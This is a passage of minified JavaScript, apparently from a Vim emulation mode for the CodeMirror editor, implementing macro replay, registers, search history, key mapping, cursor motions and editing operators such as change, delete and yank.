b=a.latestRegister,c=Fb.registerController.getRegister(b);c&&c.pushInsertModeChanges&&c.pushInsertModeChanges(a.lastInsertModeChanges)}}function
ib(a,b){if(!a.isPlaying){var
c=a.latestRegister,d=Fb.registerController.getRegister(c);d&&d.pushSearchQuery&&d.pushSearchQuery(b)}}function
jb(a,b){var
c=Fb.macroModeState,d=c.lastInsertModeChanges;if(!c.isPlaying)for(;b;){if(d.expectCursorActivityForChange=!0,d.ignoreCount>1)d.ignoreCount--;else
if("+input"==b.origin||"paste"==b.origin||void
0===b.origin){var
e=a.listSelections().length;e>1&&(d.ignoreCount=e);var
f=b.text.join("\n");d.maybeReset&&(d.changes=[],d.maybeReset=!1),f&&(a.state.overwrite&&!/\n/.test(f)?d.changes.push([f]):d.changes.push(f))}b=b.next}}function
kb(a){var b=a.state.vim;if(b.insertMode){var
c=Fb.macroModeState;if(c.isPlaying)return;var
d=c.lastInsertModeChanges;d.expectCursorActivityForChange?d.expectCursorActivityForChange=!1:d.maybeReset=!0}else
a.curOp.isVimOp||nb(a,b);b.visualMode&&lb(a)}function lb(a){var
b=a.state.vim,c=P(a,W(b.sel.head)),d=R(c,0,1);if(mb(b),c.ch==a.getLine(c.line).length){var
e=document.createElement("span");e.textContent=" ",e.className="cm-animate-fat-cursor",b.fakeCursorBookmark=a.setBookmark(c,{widget:e})}else
b.fakeCursor=a.markText(c,d,{className:"cm-animate-fat-cursor"})}function
mb(a){a.fakeCursor&&(a.fakeCursor.clear(),a.fakeCursor=null),a.fakeCursorBookmark&&(a.fakeCursorBookmark.clear(),a.fakeCursorBookmark=null)}function
nb(b,c){var
d=b.getCursor("anchor"),e=b.getCursor("head");if(c.visualMode&&!b.somethingSelected()?na(b,!1):c.visualMode||c.insertMode||!b.somethingSelected()||(c.visualMode=!0,c.visualLine=!1,a.signal(b,"vim-mode-change",{mode:"visual"})),c.visualMode){var
f=Y(e,d)?0:-1,g=Y(e,d)?-1:0;e=R(e,0,f),d=R(d,0,g),c.sel={anchor:d,head:e},za(b,c,"<",Z(e,d)),za(b,c,">",$(e,d))}else
c.insertMode||(c.lastHPos=b.getCursor().ch)}function
ob(a){this.keyName=a}function pb(b){function c(){return
e.maybeReset&&(e.changes=[],e.maybeReset=!1),e.changes.push(new
ob(f)),!0}var
d=Fb.macroModeState,e=d.lastInsertModeChanges,f=a.keyName(b);f&&(-1==f.indexOf("Delete")&&-1==f.indexOf("Backspace")||a.lookupKey(f,"vim-insert",c))}function
qb(a,b,c,d){function
e(){h?Ib.processAction(a,b,b.lastEditActionCommand):Ib.evalInput(a,b)}function
f(c){if(g.lastInsertModeChanges.changes.length>0){c=b.lastEditActionCommand?c:1;var
d=g.lastInsertModeChanges;rb(a,d.changes,c)}}var
g=Fb.macroModeState;g.isPlaying=!0;var
h=!!b.lastEditActionCommand,i=b.inputState;if(b.inputState=b.lastEditInputState,h&&b.lastEditActionCommand.interlaceInsertRepeat)for(var
j=0;j<c;j++)e(),f(1);else
d||e(),f(c);b.inputState=i,b.insertMode&&!d&&cb(a),g.isPlaying=!1}function
rb(b,c,d){function e(c){return"string"==typeof
c?a.commands[c](b):c(b),!0}var
f=b.getCursor("head"),g=Fb.macroModeState.lastInsertModeChanges.visualBlock;g&&(fa(b,f,g+1),d=b.listSelections().length,b.setCursor(f));for(var
h=0;h<d;h++){g&&b.setCursor(R(f,h,0));for(var
i=0;i<c.length;i++){var j=c[i];if(j instanceof
ob)a.lookupKey(j.keyName,"vim-insert",e);else
if("string"==typeof j){var
k=b.getCursor();b.replaceRange(j,k,k)}else{var
l=b.getCursor(),m=R(l,0,j[0].length);b.replaceRange(j[0],l,m)}}}g&&b.setCursor(R(f,0,1))}a.defineOption("vimMode",!1,(function(b,c,d){c&&"vim"!=b.getOption("keyMap")?b.setOption("keyMap","vim"):!c&&d!=a.Init&&/^vim/.test(b.getOption("keyMap"))&&b.setOption("keyMap","default")}));var
sb={Shift:"S",Ctrl:"C",Alt:"A",Cmd:"D",Mod:"A"},tb={Enter:"CR",Backspace:"BS",Delete:"Del",Insert:"Ins"},ub=/[\d]/,vb=[a.isWordChar,function(b){return
b&&!a.isWordChar(b)&&!/\s/.test(b)}],wb=[function(a){return/\S/.test(a)}],xb=q(65,26),yb=q(97,26),zb=q(48,10),Ab=[].concat(xb,yb,zb,["<",">"]),Bb=[].concat(xb,yb,zb,["-",'"',".",":","/"]),Cb={};z("filetype",void
0,"string",["ft"],(function(a,b){if(void 0!==b){if(void
0===a){var
c=b.getOption("mode");return"null"==c?"":c}var
c=""==a?"null":a;b.setOption("mode",c)}}));var
Db=function(){function a(a,b,c){function i(b){var
c=++e%d,f=h[c];f&&f.clear(),h[c]=a.setBookmark(b)}var
j=e%d,k=h[j];if(k){var l=k.find();l&&!X(l,b)&&i(b)}else
i(b);i(c),f=e,(g=e-d+1)<0&&(g=0)}function
b(a,b){e+=b,e>f?e=f:e<g&&(e=g);var
c=h[(d+e)%d];if(c&&!c.find()){var
i,j=b>0?1:-1,k=a.getCursor();do{if(e+=j,(c=h[(d+e)%d])&&(i=c.find())&&!X(k,i))break}while(e<f&&e>g)}return
c}function c(a,c){var d=e,f=b(a,c);return e=d,f&&f.find()}var
d=100,e=-1,f=0,g=0,h=new Array(d);return{cachedCursor:void
0,add:a,find:c,move:b}},Eb=function(a){return
a?{changes:a.changes,expectCursorActivityForChange:a.expectCursorActivityForChange}:{changes:[],expectCursorActivityForChange:!1}};C.prototype={exitMacroRecordMode:function(){var
a=Fb.macroModeState;a.onRecordingDone&&a.onRecordingDone(),a.onRecordingDone=void
0,a.isRecording=!1},enterMacroRecordMode:function(a,b){var
c=Fb.registerController.getRegister(b);c&&(c.clear(),this.latestRegister=b,a.openDialog&&(this.onRecordingDone=a.openDialog("(recording)["+b+"]",null,{bottom:!0})),this.isRecording=!0)}};var
Fb,Gb,Hb={buildKeyMap:function(){},getRegisterController:function(){return
Fb.registerController},resetVimGlobalState_:E,getVimGlobalState_:function(){return
Fb},maybeInitVimState_:D,suppressErrorLogging:!1,InsertModeKey:ob,map:function(a,b,c){Ub.map(a,b,c)},unmap:function(a,b){Ub.unmap(a,b)},noremap:function(a,d,e){function
f(a){return
a?[a]:["normal","insert","visual"]}for(var
g=f(e),h=b.length,i=c,j=h-i;j<h&&g.length;j++){var
k=b[j];if(!(k.keys!=d||e&&k.context&&k.context!==e||"ex"===k.type.substr(0,2)||"key"===k.type.substr(0,3))){var
l={};for(var m in
k)l[m]=k[m];l.keys=a,e&&!l.context&&(l.context=e),this._mapCommand(l);var
n=f(k.context);g=g.filter((function(a){return-1===n.indexOf(a)}))}}},mapclear:function(a){var
d=b.length,e=c,f=b.slice(0,d-e);if(b=b.slice(d-e),a)for(var
g=f.length-1;g>=0;g--){var
h=f[g];if(a!==h.context)if(h.context)this._mapCommand(h);else{var
i=["normal","insert","visual"];for(var j in
i)if(i[j]!==a){var k={};for(var l in
h)k[l]=h[l];k.context=i[j],this._mapCommand(k)}}}},setOption:A,getOption:B,defineOption:z,defineEx:function(a,b,c){if(b){if(0!==a.indexOf(b))throw
new Error('(Vim.defineEx) "'+b+'" is not a prefix
of "'+a+'", command not registered')}else
b=a;Tb[a]=c,Ub.commandMap_[b]={name:a,shortName:b,type:"api"}},handleKey:function(a,b,c){var
d=this.findKey(a,b,c);if("function"==typeof d)return
d()},findKey:function(c,d,e){function f(){var
a=Fb.macroModeState;if(a.isRecording){if("q"==d)return
a.exitMacroRecordMode(),G(c),!0;"mapping"!=e&&gb(a,d)}}function
g(){if("<Esc>"==d)return
G(c),j.visualMode?na(c):j.insertMode&&cb(c),!0}function
h(b){for(var
e;b;)e=/<\w+-.+?>|<\w+>|./.exec(b),d=e[0],b=b.substring(e.index+d.length),a.Vim.handleKey(c,d,"mapping")}var
i,j=D(c);return i=j.insertMode?(function(){if(g())return!0;for(var
a=j.inputState.keyBuffer=j.inputState.keyBuffer+d,e=1==d.length,f=Ib.matchCommand(a,b,j.inputState,"insert");a.length>1&&"full"!=f.type;){var
a=j.inputState.keyBuffer=a.slice(1),h=Ib.matchCommand(a,b,j.inputState,"insert");"none"!=h.type&&(f=h)}if("none"==f.type)return
G(c),!1;if("partial"==f.type)return
Gb&&window.clearTimeout(Gb),Gb=window.setTimeout((function(){j.insertMode&&j.inputState.keyBuffer&&G(c)}),B("insertModeEscKeysTimeout")),!e;if(Gb&&window.clearTimeout(Gb),e){for(var
i=c.listSelections(),k=0;k<i.length;k++){var
l=i[k].head;c.replaceRange("",R(l,0,-(a.length-1)),l,"+input")}Fb.macroModeState.lastInsertModeChanges.changes.pop()}return
G(c),f.command})():(function(){if(f()||g())return!0;var
a=j.inputState.keyBuffer=j.inputState.keyBuffer+d;if(/^[1-9]\d*$/.test(a))return!0;var
e=/^(\d*)(.*)$/.exec(a);if(!e)return G(c),!1;var
h=j.visualMode?"visual":"normal",i=Ib.matchCommand(e[2]||e[1],b,j.inputState,h);if("none"==i.type)return
G(c),!1;if("partial"==i.type)return!0;j.inputState.keyBuffer="";var
e=/^(\d*)(.*)$/.exec(a);return
e[1]&&"0"!=e[1]&&j.inputState.pushRepeatDigit(e[1]),i.command})(),!1===i?j.insertMode||1!==d.length?void
0:function(){return!0}:!0===i?function(){return!0}:function(){return
c.operation((function(){c.curOp.isVimOp=!0;try{"keyToKey"==i.type?h(i.toKeys):Ib.processCommand(c,j,i)}catch(b){throw
c.state.vim=void
0,D(c),a.Vim.suppressErrorLogging||console.log(b),b}return!0}))}},handleEx:function(a,b){Ub.processCommand(a,b)},defineMotion:L,defineAction:O,defineOperator:N,mapCommand:eb,_mapCommand:db,defineRegister:I,exitVisualMode:na,exitInsertMode:cb};F.prototype.pushRepeatDigit=function(a){this.operator?this.motionRepeat=this.motionRepeat.concat(a):this.prefixRepeat=this.prefixRepeat.concat(a)},F.prototype.getRepeat=function(){var
a=0;return(this.prefixRepeat.length>0||this.motionRepeat.length>0)&&(a=1,this.prefixRepeat.length>0&&(a*=parseInt(this.prefixRepeat.join(""),10)),this.motionRepeat.length>0&&(a*=parseInt(this.motionRepeat.join(""),10))),a},H.prototype={setText:function(a,b,c){this.keyBuffer=[a||""],this.linewise=!!b,this.blockwise=!!c},pushText:function(a,b){b&&(this.linewise||this.keyBuffer.push("\n"),this.linewise=!0),this.keyBuffer.push(a)},pushInsertModeChanges:function(a){this.insertModeChanges.push(Eb(a))},pushSearchQuery:function(a){this.searchQueries.push(a)},clear:function(){this.keyBuffer=[],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!1},toString:function(){return
this.keyBuffer.join("")}},J.prototype={pushText:function(a,b,c,d,e){d&&"\n"!==c.charAt(c.length-1)&&(c+="\n");var
f=this.isValidRegister(a)?this.getRegister(a):null;if(!f){switch(b){case"yank":this.registers[0]=new
H(c,d,e);break;case"delete":case"change":-1==c.indexOf("\n")?this.registers["-"]=new
H(c,d):(this.shiftNumericRegisters_(),this.registers[1]=new H(c,d))}return
void
this.unnamedRegister.setText(c,d,e)}v(a)?f.pushText(c,d):f.setText(c,d,e),this.unnamedRegister.setText(f.toString(),d)},getRegister:function(a){return
this.isValidRegister(a)?(a=a.toLowerCase(),this.registers[a]||(this.registers[a]=new
H),this.registers[a]):this.unnamedRegister},isValidRegister:function(a){return
a&&y(a,Bb)},shiftNumericRegisters_:function(){for(var
a=9;a>=2;a--)this.registers[a]=this.getRegister(""+(a-1))}},K.prototype={nextMatch:function(a,b){var
c=this.historyBuffer,d=b?-1:1;null===this.initialPrefix&&(this.initialPrefix=a);for(var
e=this.iterator+d;b?e>=0:e<c.length;e+=d)for(var
f=c[e],g=0;g<=f.length;g++)if(this.initialPrefix==f.substring(0,g))return
this.iterator=e,f;return
e>=c.length?(this.iterator=c.length,this.initialPrefix):e<0?a:void
0},pushInput:function(a){var
b=this.historyBuffer.indexOf(a);b>-1&&this.historyBuffer.splice(b,1),a.length&&this.historyBuffer.push(a)},reset:function(){this.initialPrefix=null,this.iterator=this.historyBuffer.length}};var
Ib={matchCommand:function(a,b,c,d){var
e=S(a,b,d,c);if(!e.full&&!e.partial)return{type:"none"};if(!e.full&&e.partial)return{type:"partial"};for(var
f,g=0;g<e.full.length;g++){var
h=e.full[g];f||(f=h)}if("<character>"==f.keys.slice(-11)){var
i=U(a);if(!i)return{type:"none"};c.selectedCharacter=i}return{type:"full",command:f}},processCommand:function(a,b,c){switch(b.inputState.repeatOverride=c.repeatOverride,c.type){case"motion":this.processMotion(a,b,c);break;case"operator":this.processOperator(a,b,c);break;case"operatorMotion":this.processOperatorMotion(a,b,c);break;case"action":this.processAction(a,b,c);break;case"search":this.processSearch(a,b,c);break;case"ex":case"keyToEx":this.processEx(a,b,c)}},processMotion:function(a,b,c){b.inputState.motion=c.motion,b.inputState.motionArgs=Q(c.motionArgs),this.evalInput(a,b)},processOperator:function(a,b,c){var
d=b.inputState;if(d.operator){if(d.operator==c.operator)return
d.motion="expandToLine",d.motionArgs={linewise:!0},void
this.evalInput(a,b);G(a)}d.operator=c.operator,d.operatorArgs=Q(c.operatorArgs),c.exitVisualBlock&&(b.visualBlock=!1,ka(a)),b.visualMode&&this.evalInput(a,b)},processOperatorMotion:function(a,b,c){var
d=b.visualMode,e=Q(c.operatorMotionArgs);e&&d&&e.visualLine&&(b.visualLine=!0),this.processOperator(a,b,c),d||this.processMotion(a,b,c)},processAction:function(a,b,c){var
d=b.inputState,e=d.getRepeat(),f=!!e,g=Q(c.actionArgs)||{};d.selectedCharacter&&(g.selectedCharacter=d.selectedCharacter),c.operator&&this.processOperator(a,b,c),c.motion&&this.processMotion(a,b,c),(c.motion||c.operator)&&this.evalInput(a,b),g.repeat=e||1,g.repeatIsExplicit=f,g.registerName=d.registerName,G(a),b.lastMotion=null,c.isEdit&&this.recordLastEdit(b,d,c),Lb[c.action](a,g,b)},processSearch:function(b,c,d){function
e(a,e,f){Fb.searchHistoryController.pushInput(a),Fb.searchHistoryController.reset();try{Ua(b,a,e,f)}catch(c){return
Qa(b,"Invalid regex: "+a),void
G(b)}Ib.processMotion(b,c,{type:"motion",motion:"findNext",motionArgs:{forward:!0,toJumplist:d.searchArgs.toJumplist}})}function
f(a){b.scrollTo(m.left,m.top),e(a,!0,!0);var
c=Fb.macroModeState;c.isRecording&&ib(c,a)}function g(c,d,e){var
f,g,h=a.keyName(c);"Up"==h||"Down"==h?(f="Up"==h,g=c.target?c.target.selectionEnd:0,d=Fb.searchHistoryController.nextMatch(d,f)||"",e(d),g&&c.target&&(c.target.selectionEnd=c.target.selectionStart=Math.min(g,c.target.value.length))):"Left"!=h&&"Right"!=h&&"Ctrl"!=h&&"Alt"!=h&&"Shift"!=h&&Fb.searchHistoryController.reset();var
j;try{j=Ua(b,d,!0,!0)}catch(c){}j?b.scrollIntoView(Xa(b,!i,j),30):(Ya(b),b.scrollTo(m.left,m.top))}function
h(c,d,e){var
f=a.keyName(c);"Esc"==f||"Ctrl-C"==f||"Ctrl-["==f||"Backspace"==f&&""==d?(Fb.searchHistoryController.pushInput(d),Fb.searchHistoryController.reset(),Ua(b,l),Ya(b),b.scrollTo(m.left,m.top),a.e_stop(c),G(b),e(),b.focus()):"Up"==f||"Down"==f?a.e_stop(c):"Ctrl-U"==f&&(a.e_stop(c),e(""))}if(b.getSearchCursor){var
i=d.searchArgs.forward,j=d.searchArgs.wholeWordOnly;Ga(b).setReversed(!i);var
k=i?"/":"?",l=Ga(b).getQuery(),m=b.getScrollInfo();switch(d.searchArgs.querySrc){case"prompt":var
n=Fb.macroModeState;if(n.isPlaying){var
o=n.replaySearchQueries.shift();e(o,!0,!1)}else
Sa(b,{onClose:f,prefix:k,desc:Qb,onKeyUp:g,onKeyDown:h});break;case"wordUnderCursor":var
p=ra(b,!1,!0,!1,!0),q=!0;if(p||(p=ra(b,!1,!0,!1,!1),q=!1),!p)return;var
o=b.getLine(p.start.line).substring(p.start.ch,p.end.ch);o=q&&j?"\\b"+o+"\\b":ca(o),Fb.jumpList.cachedCursor=b.getCursor(),b.setCursor(p.start),e(o,!0,!1)}}},processEx:function(b,c,d){function
e(a){Fb.exCommandHistoryController.pushInput(a),Fb.exCommandHistoryController.reset(),Ub.processCommand(b,a)}function
f(c,d,e){var
f,g,h=a.keyName(c);("Esc"==h||"Ctrl-C"==h||"Ctrl-["==h||"Backspace"==h&&""==d)&&(Fb.exCommandHistoryController.pushInput(d),Fb.exCommandHistoryController.reset(),a.e_stop(c),G(b),e(),b.focus()),"Up"==h||"Down"==h?(a.e_stop(c),f="Up"==h,g=c.target?c.target.selectionEnd:0,d=Fb.exCommandHistoryController.nextMatch(d,f)||"",e(d),g&&c.target&&(c.target.selectionEnd=c.target.selectionStart=Math.min(g,c.target.value.length))):"Ctrl-U"==h?(a.e_stop(c),e("")):"Left"!=h&&"Right"!=h&&"Ctrl"!=h&&"Alt"!=h&&"Shift"!=h&&Fb.exCommandHistoryController.reset()}"keyToEx"==d.type?Ub.processCommand(b,d.exArgs.input):c.visualMode?Sa(b,{onClose:e,prefix:":",value:"'<,'>",onKeyDown:f,selectValueOnOpen:!1}):Sa(b,{onClose:e,prefix:":",onKeyDown:f})},evalInput:function(a,b){var
c,d,f,g=b.inputState,h=g.motion,i=g.motionArgs||{},j=g.operator,k=g.operatorArgs||{},l=g.registerName,m=b.sel,n=W(b.visualMode?P(a,m.head):a.getCursor("head")),o=W(b.visualMode?P(a,m.anchor):a.getCursor("anchor")),p=W(n),q=W(o);if(j&&this.recordLastEdit(b,g),f=void
0!==g.repeatOverride?g.repeatOverride:g.getRepeat(),f>0&&i.explicitRepeat?i.repeatIsExplicit=!0:(i.noRepeat||!i.explicitRepeat&&0===f)&&(f=1,i.repeatIsExplicit=!1),g.selectedCharacter&&(i.selectedCharacter=k.selectedCharacter=g.selectedCharacter),i.repeat=f,G(a),h){var
r=Jb[h](a,n,i,b);if(b.lastMotion=Jb[h],!r)return;if(i.toJumplist){var
s=Fb.jumpList,t=s.cachedCursor;t?(sa(a,t,r),delete
s.cachedCursor):sa(a,n,r)}r instanceof
Array?(d=r[0],c=r[1]):c=r,c||(c=W(n)),b.visualMode?(b.visualBlock&&c.ch===1/0||(c=P(a,c)),d&&(d=P(a,d)),d=d||q,m.anchor=d,m.head=c,ka(a),za(a,b,"<",Y(d,c)?d:c),za(a,b,">",Y(d,c)?c:d)):j||(c=P(a,c),a.setCursor(c.line,c.ch))}if(j){if(k.lastSel){d=q;var
u=k.lastSel,v=Math.abs(u.head.line-u.anchor.line),w=Math.abs(u.head.ch-u.anchor.ch);c=u.visualLine?e(q.line+v,q.ch):u.visualBlock?e(q.line+v,q.ch+w):u.head.line==u.anchor.line?e(q.line,q.ch+w):e(q.line+v,q.ch),b.visualMode=!0,b.visualLine=u.visualLine,b.visualBlock=u.visualBlock,m=b.sel={anchor:d,head:c},ka(a)}else
b.visualMode&&(k.lastSel={anchor:W(m.anchor),head:W(m.head),visualBlock:b.visualBlock,visualLine:b.visualLine});var
x,y,z,A,B;if(b.visualMode){if(x=Z(m.head,m.anchor),y=$(m.head,m.anchor),z=b.visualLine||k.linewise,A=b.visualBlock?"block":z?"line":"char",B=la(a,{anchor:x,head:y},A),z){var
C=B.ranges;if("block"==A)for(var
D=0;D<C.length;D++)C[D].head.ch=aa(a,C[D].head.line);else"line"==A&&(C[0].head=e(C[0].head.line+1,0))}}else{if(x=W(d||q),y=W(c||p),Y(y,x)){var
E=x;x=y,y=E}z=i.linewise||k.linewise,z?pa(a,x,y):i.forward&&oa(a,x,y),A="char";B=la(a,{anchor:x,head:y},A,!i.inclusive||z)}a.setSelections(B.ranges,B.primary),b.lastMotion=null,k.repeat=f,k.registerName=l,k.linewise=z;var
F=Kb[j](a,k,B.ranges,q,c);b.visualMode&&na(a,null!=F),F&&a.setCursor(F)}},recordLastEdit:function(a,b,c){var
d=Fb.macroModeState;d.isPlaying||(a.lastEditInputState=b,a.lastEditActionCommand=c,d.lastInsertModeChanges.changes=[],d.lastInsertModeChanges.expectCursorActivityForChange=!1,d.lastInsertModeChanges.visualBlock=a.visualBlock?a.sel.head.line-a.sel.anchor.line:0)}},Jb={moveToTopLine:function(a,b,c){var
d=$a(a).top+c.repeat-1;return
e(d,qa(a.getLine(d)))},moveToMiddleLine:function(a){var
b=$a(a),c=Math.floor(.5*(b.top+b.bottom));return
e(c,qa(a.getLine(c)))},moveToBottomLine:function(a,b,c){var
d=$a(a).bottom-c.repeat+1;return
e(d,qa(a.getLine(d)))},expandToLine:function(a,b,c){return
e(b.line+c.repeat-1,1/0)},findNext:function(a,b,c){var
d=Ga(a),e=d.getQuery();if(e){var f=!c.forward;return
f=d.isReversed()?!f:f,Wa(a,e),Xa(a,f,e,c.repeat)}},goToMark:function(a,b,c,d){var
e=_a(a,d,c.selectedCharacter);return
e?c.linewise?{line:e.line,ch:qa(a.getLine(e.line))}:e:null},moveToOtherHighlightedEnd:function(a,b,c,d){if(d.visualBlock&&c.sameLine){var
f=d.sel;return[P(a,e(f.anchor.line,f.head.ch)),P(a,e(f.head.line,f.anchor.ch))]}return[d.sel.head,d.sel.anchor]},jumpToMark:function(a,b,c,d){for(var
f=b,g=0;g<c.repeat;g++){var h=f;for(var i in d.marks)if(s(i)){var
j=d.marks[i].find(),k=c.forward?Y(j,h):Y(h,j);if(!(k||c.linewise&&j.line==h.line)){var
l=X(h,f),m=c.forward?_(h,j,f):_(f,j,h);(l||m)&&(f=j)}}}return
c.linewise&&(f=e(f.line,qa(a.getLine(f.line)))),f},moveByCharacters:function(a,b,c){var
d=b,f=c.repeat,g=c.forward?d.ch+f:d.ch-f;return
e(d.line,g)},moveByLines:function(a,b,c,d){var
f=b,g=f.ch;switch(d.lastMotion){case this.moveByLines:case
this.moveByDisplayLines:case this.moveByScroll:case this.moveToColumn:case
this.moveToEol:g=d.lastHPos;break;default:d.lastHPos=g}var
h=c.repeat+(c.repeatOffset||0),i=c.forward?f.line+h:f.line-h,j=a.firstLine(),k=a.lastLine(),l=a.findPosV(f,c.forward?h:-h,"line",d.lastHSPos);return(c.forward?l.line>i:l.line<i)&&(i=l.line,g=l.ch),i<j&&f.line==j?this.moveToStartOfLine(a,b,c,d):i>k&&f.line==k?this.moveToEol(a,b,c,d,!0):(c.toFirstChar&&(g=qa(a.getLine(i)),d.lastHPos=g),d.lastHSPos=a.charCoords(e(i,g),"div").left,e(i,g))},moveByDisplayLines:function(a,b,c,d){var
f=b;switch(d.lastMotion){case this.moveByDisplayLines:case
this.moveByScroll:case this.moveByLines:case this.moveToColumn:case
this.moveToEol:break;default:d.lastHSPos=a.charCoords(f,"div").left}var
g=c.repeat,h=a.findPosV(f,c.forward?g:-g,"line",d.lastHSPos);if(h.hitSide)if(c.forward)var
i=a.charCoords(h,"div"),j={top:i.top+8,left:d.lastHSPos},h=a.coordsChar(j,"div");else{var
k=a.charCoords(e(a.firstLine(),0),"div");k.left=d.lastHSPos,h=a.coordsChar(k,"div")}return
d.lastHPos=h.ch,h},moveByPage:function(a,b,c){var d=b,e=c.repeat;return
a.findPosV(d,c.forward?e:-e,"page")},moveByParagraph:function(a,b,c){var
d=c.forward?1:-1;return
Ba(a,b,c.repeat,d)},moveBySentence:function(a,b,c){var
d=c.forward?1:-1;return
Ca(a,b,c.repeat,d)},moveByScroll:function(a,b,c,d){var
e=a.getScrollInfo(),f=null,g=c.repeat;g||(g=e.clientHeight/(2*a.defaultTextHeight()));var
h=a.charCoords(b,"local");c.repeat=g;var
f=Jb.moveByDisplayLines(a,b,c,d);if(!f)return null;var
i=a.charCoords(f,"local");return
a.scrollTo(null,e.top+i.top-h.top),f},moveByWords:function(a,b,c){return
wa(a,b,c.repeat,!!c.forward,!!c.wordEnd,!!c.bigWord)},moveTillCharacter:function(a,b,c){var
d=c.repeat,e=xa(a,d,c.forward,c.selectedCharacter),f=c.forward?-1:1;return
ta(f,c),e?(e.ch+=f,e):null},moveToCharacter:function(a,b,c){var
d=c.repeat;return
ta(0,c),xa(a,d,c.forward,c.selectedCharacter)||b},moveToSymbol:function(a,b,c){return
ua(a,c.repeat,c.forward,c.selectedCharacter)||b},moveToColumn:function(a,b,c,d){var
e=c.repeat;return
d.lastHPos=e-1,d.lastHSPos=a.charCoords(b,"div").left,ya(a,e)},moveToEol:function(a,b,c,d,f){var
g=b,h=e(g.line+c.repeat-1,1/0),i=a.clipPos(h);return
i.ch--,f||(d.lastHPos=1/0,d.lastHSPos=a.charCoords(i,"div").left),h},moveToFirstNonWhiteSpaceCharacter:function(a,b){var
c=b;return
e(c.line,qa(a.getLine(c.line)))},moveToMatchedSymbol:function(a,b){for(var
c,d=b,f=d.line,g=d.ch,h=a.getLine(f);g<h.length;g++)if((c=h.charAt(g))&&t(c)){var
i=a.getTokenTypeAt(e(f,g+1));if("string"!==i&&"comment"!==i)break}if(g<h.length){var
j="<"===g||">"===g?/[(){}[\]<>]/:/[(){}[\]]/;return
a.findMatchingBracket(e(f,g),{bracketRegex:j}).to}return
d},moveToStartOfLine:function(a,b){return
e(b.line,0)},moveToLineOrEdgeOfDocument:function(a,b,c){var
d=c.forward?a.lastLine():a.firstLine();return
c.repeatIsExplicit&&(d=c.repeat-a.getOption("firstLineNumber")),e(d,qa(a.getLine(d)))},textObjectManipulation:function(a,b,c,d){var
e={"(":")",")":"(","{":"}","}":"{","[":"]","]":"[","<":">",">":"<"},f={"'":!0,'"':!0,"`":!0},g=c.selectedCharacter;"b"==g?g="(":"B"==g&&(g="{");var
h,i=!c.textObjectInner;if(e[g])h=Da(a,b,g,i);else
if(f[g])h=Ea(a,b,g,i);else if("W"===g)h=ra(a,i,!0,!0);else
if("w"===g)h=ra(a,i,!0,!1);else{if("p"!==g)return
null;if(h=Ba(a,b,c.repeat,0,i),c.linewise=!0,d.visualMode)d.visualLine||(d.visualLine=!0);else{var
j=d.inputState.operatorArgs;j&&(j.linewise=!0),h.end.line--}}return
a.state.vim.visualMode?ja(a,h.start,h.end):[h.start,h.end]},repeatLastCharacterSearch:function(a,b,c){var
d=Fb.lastCharacterSearch,e=c.repeat,f=c.forward===d.forward,g=(d.increment?1:0)*(f?-1:1);a.moveH(-g,"char"),c.inclusive=!!f;var
h=xa(a,e,f,d.selectedCharacter);return
h?(h.ch+=g,h):(a.moveH(g,"char"),b)}},Kb={change:function(b,c,d){var
f,g,h=b.state.vim,i=d[0].anchor,j=d[0].head;if(h.visualMode)if(c.fullLine)j.ch=Number.MAX_VALUE,j.line--,b.setSelection(i,j),g=b.getSelection(),b.replaceSelection(""),f=i;else{g=b.getSelection();var
k=M("",d.length);b.replaceSelections(k),f=Z(d[0].head,d[0].anchor)}else{g=b.getRange(i,j);var
l=h.lastEditInputState||{};if("moveByWords"==l.motion&&!w(g)){var
m=/\s+$/.exec(g);m&&l.motionArgs&&l.motionArgs.forward&&(j=R(j,0,-m[0].length),g=g.slice(0,-m[0].length))}var
n=new
e(i.line-1,Number.MAX_VALUE),o=b.firstLine()==b.lastLine();j.line>b.lastLine()&&c.linewise&&!o?b.replaceRange("",n,j):b.replaceRange("",i,j),c.linewise&&(o||(b.setCursor(n),a.commands.newlineAndIndent(b)),i.ch=Number.MAX_VALUE),f=i}Fb.registerController.pushText(c.registerName,"change",g,c.linewise,d.length>1),Lb.enterInsertMode(b,{head:f},b.state.vim)},delete:function(a,b,c){var
d,f,g=a.state.vim;if(g.visualBlock){f=a.getSelection();var
h=M("",c.length);a.replaceSelections(h),d=c[0].anchor}else{var
i=c[0].anchor,j=c[0].head;b.linewise&&j.line!=a.firstLine()&&i.line==a.lastLine()&&i.line==j.line-1&&(i.line==a.firstLine()?i.ch=0:i=e(i.line-1,aa(a,i.line-1))),f=a.getRange(i,j),a.replaceRange("",i,j),d=i,b.linewise&&(d=Jb.moveToFirstNonWhiteSpaceCharacter(a,i))}return
Fb.registerController.pushText(b.registerName,"delete",f,b.linewise,g.visualBlock),P(a,d)},indent:function(a,b,c){var
d=a.state.vim,e=c[0].anchor.line,f=d.visualBlock?c[c.length-1].anchor.line:c[0].head.line,g=d.visualMode?b.repeat:1;b.linewise&&f--;for(var
h=e;h<=f;h++)for(var i=0;i<g;i++)a.indentLine(h,b.indentRight);return
Jb.moveToFirstNonWhiteSpaceCharacter(a,c[0].anchor)},indentAuto:function(a,b,c){return
a.execCommand("indentAuto"),Jb.moveToFirstNonWhiteSpaceCharacter(a,c[0].anchor)},changeCase:function(a,b,c,d,e){for(var
f=a.getSelections(),g=[],h=b.toLower,i=0;i<f.length;i++){var
j=f[i],k="";if(!0===h)k=j.toLowerCase();else
if(!1===h)k=j.toUpperCase();else for(var l=0;l<j.length;l++){var
m=j.charAt(l);k+=v(m)?m.toLowerCase():m.toUpperCase()}g.push(k)}return
a.replaceSelections(g),b.shouldMoveCursor?e:!a.state.vim.visualMode&&b.linewise&&c[0].anchor.line+1==c[0].head.line?Jb.moveToFirstNonWhiteSpaceCharacter(a,d):b.linewise?d:Z(c[0].anchor,c[0].head)},yank:function(a,b,c,d){var
e=a.state.vim,f=a.getSelection(),g=e.visualMode?Z(e.sel.anchor,e.sel.head,c[0].head,c[0].anchor):d;return
Fb.registerController.pushText(b.registerName,"yank",f,b.linewise,e.visualBlock),g}},Lb={jumpListWalk:function(a,b,c){if(!c.visualMode){var
d=b.repeat,e=b.forward,f=Fb.jumpList,g=f.move(a,e?d:-d),h=g?g.find():void
0;h=h||a.getCursor(),a.setCursor(h)}},scroll:function(a,b,c){if(!c.visualMode){var
